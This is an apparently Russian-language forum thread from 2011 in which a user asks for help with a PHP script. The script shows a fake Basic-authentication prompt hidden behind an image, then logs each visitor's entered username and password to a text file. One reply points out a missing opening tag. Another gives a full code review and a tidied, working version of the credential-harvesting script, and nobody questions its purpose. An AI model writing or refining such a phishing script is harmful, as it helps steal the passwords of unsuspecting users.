PDA

Просмотр полной версии : [Помогите!] Прошу помочь


Hellboy89
05.12.2011, 15:08
Подскажите что тут не так??


php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('Content-Type: text/html; charset=windows-1251');
header('[Ссылки могут видеть только зарегистрированные и активированные пользователи] Basic realm="Repeated Authenticate"');
header('[Ссылки могут видеть только зарегистрированные и активированные пользователи] 401 Unauthorized');
header("Content-type: image/gif");
$imag = imagecreatefromgif('s1.gif');
imagegif($imag);
imagedestroy($imag);
exit();
} else {
$f = fopen('passlog.txt', 'a');
fwrite($f, $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n");
fclose($f);
header("Content-type: image/gif");
$imag = imagecreatefromgif('s1.gif');
imagegif($imag);
imagedestroy($imag);
exit();
}
?>

zuzzz
05.12.2011, 17:49
Ну как минимум не хватает символов в начале <?php

wext01
06.12.2011, 23:57
Подскажите что тут не так??


if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('Content-Type: text/html; charset=windows-1251');
header('[Ссылки могут видеть только зарегистрированные и активированные пользователи] Basic realm="Repeated Authenticate"');
header('[Ссылки могут видеть только зарегистрированные и активированные пользователи] 401 Unauthorized');
header("Content-type: image/gif");
$imag = imagecreatefromgif('s1.gif');
imagegif($imag);
imagedestroy($imag);
exit();
} else {
$f = fopen('passlog.txt', 'a');
fwrite($f, $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n");
fclose($f);
header("Content-type: image/gif");
$imag = imagecreatefromgif('s1.gif');
imagegif($imag);
imagedestroy($imag);
exit();
}

Разберём первый блок:
- Используя функцию empty вместо isset мы так же можем проверить не пустые ли данные, а не просто существование переменной. Да и в отрицании условия тогда нету необходимости.
- Ты 2 раза указал Content-Type. При том первый еще и HTML, хотя отдаешь картинку.
- Заголовок "401 не авторизован" лучше пихать первым пунктом. По крайней мере так читабельнее.
- imagedestroy выполнять по сути не обязательно если сразу за этим скрипт будет прекращать работу.
- функцию exit можно использовать без скобок, т.е. просто " exit; "
- зачем читать файл с картинкой, переводить его в нужный формат, потом снова его конвертить обратно в gif? Достаточно просто прочесть данные и вывести пользователю. Делается это функцией readfile(имя_файла)
- в закрытии дальнейшей обработки кода нету смысла, т.к. после него ничего не будет. Проще говоря exit не нужен.

Разберём второй блок:
- Вместо 3 строчек кода (открываем файл, записываем, закрываем файл) лучше использовать функцию file_put_contents(имя_файла, даннные, FILE_APPEND); (FILE_APPEND - означает, что данные добавятся в конец файла).
- Опять же не понятно зачем конвертить файл туда-сюда
- Снова скобки у функции exit;
- в закрытии дальнейшей обработки кода нету смысла

Код твоей мечты:

if (empty($_SERVER['PHP_AUTH_USER']))
{
header('[Ссылки могут видеть только зарегистрированные и активированные пользователи] 401 Unauthorized');
header("Content-type: image/gif");
header('[Ссылки могут видеть только зарегистрированные и активированные пользователи] Basic realm="Repeated Authenticate"');
readfile('s1.gif');
}
else
{
header("Content-type: image/gif");
readfile('s1.gif');
file_put_contents('passlog.txt', $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n", FILE_APPEND);
}